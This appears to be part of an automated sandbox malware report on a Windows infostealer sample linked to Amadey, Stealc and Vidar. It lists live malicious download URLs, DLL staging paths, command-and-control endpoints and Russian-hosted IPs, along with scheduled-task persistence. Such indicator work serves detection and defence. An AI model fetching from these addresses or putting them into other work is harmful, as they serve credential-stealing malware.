Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.81/mine/amadka.exe.phpefoxrefox	100%	Avira URL Cloud	phishing
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	phishing
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpO	22%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/softokn3.dll	4%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpO	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php4ZL	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exeOpera	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpVZ.	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe	28%	Virustotal		Browse
http://85.28.47.30k	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/freebl3.dll	4%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/freebl3.dll;	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/softokn3.dll7	100%	Avira URL Cloud	malware
http://85.28.47.30/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php3	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://85.28.47.30/69934896f997d5bb/softokn3.dll7	0%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php#ZC	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/nss3.dll	0%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php	24%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php9	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/mozglue.dllw	100%	Avira URL Cloud	malware
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	4%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php8#	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php#ZC	24%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php9	20%	Virustotal		Browse
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php3	21%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php8#	21%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
85.28.47.30/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.82/	26%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	25%	Virustotal		Browse
http://85.28.47.30/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpS?w	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.php	2%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
85.28.47.30/920475a59bac849d.php	2%	Virustotal		Browse
http://77.91.77.81/cost/go.exe00	25%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/sqlite3.dllc	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://85.28.47.30/69934896f997d5bb/vcruntime140.dllV	100%	Avira URL Cloud	malware
http://85.28.47.30/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	4%	Virustotal		Browse
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://85.28.47.30	100%	Avira URL Cloud	malware
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php~	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	27%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.30/69934896f997d5bb/softokn3.dll	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/freebl3.dll	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.30/69934896f997d5bb/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
85.28.47.30/920475a59bac849d.php	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.30/920475a59bac849d.php	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe.phpefoxrefox	file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	file.exe, 00000000.00000002.1433619231.0000000000A6A000.00000040.00000001.01000000.00000003.sdmp	false	28%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpO	explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php4ZL	explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exeOpera	file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpVZ.	explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.30k	file.exe, 00000000.00000002.1436568097.0000000001B0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/freebl3.dll;	file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/softokn3.dll7	file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php3	explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php#ZC	explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php9	explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1471418579.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dllw	file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php8#	explorti.exe, 00000013.00000002.3725431157.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe00	file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	true	26%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpS?w	explorti.exe, 00000013.00000002.3725431157.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe00	file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/sqlite3.dllc	file.exe, 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.15.dr	false	URL Reputation: safe	unknown
http://85.28.47.30/69934896f997d5bb/vcruntime140.dllV	file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false	URL Reputation: safe	unknown
http://pki-ocsp.symauth.com0	file.exe	false	Avira URL Cloud: safe	unknown
http://85.28.47.30	file.exe, 00000000.00000002.1436568097.0000000001B0E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	GHDBKFHIJKJKECAAAECA.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php~	explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.28.47.30	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467951
Start date and time:	2024-07-05 06:22:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/28@0/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target JDGCFBAFBF.exe, PID 7772 because it is empty
Execution Graph export aborted for target explorti.exe, PID 1588 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 5984 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7672 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:02:06	API Interceptor	11515133x Sleep call for process: explorti.exe modified
06:23:18	Task Scheduler	Run new task: explorti path: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.28.47.30	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30/920475a59bac849d.php
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30/920475a59bac849d.php
77.91.77.81	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81/Kiru9gu/index.php
77.91.77.82	gNo9ad9KO4.exe	Get hash	malicious	Amadey	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	gNo9ad9KO4.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	gNo9ad9KO4.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
GES-ASRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30
	file.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	XenoRAT	Browse	85.28.47.8
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
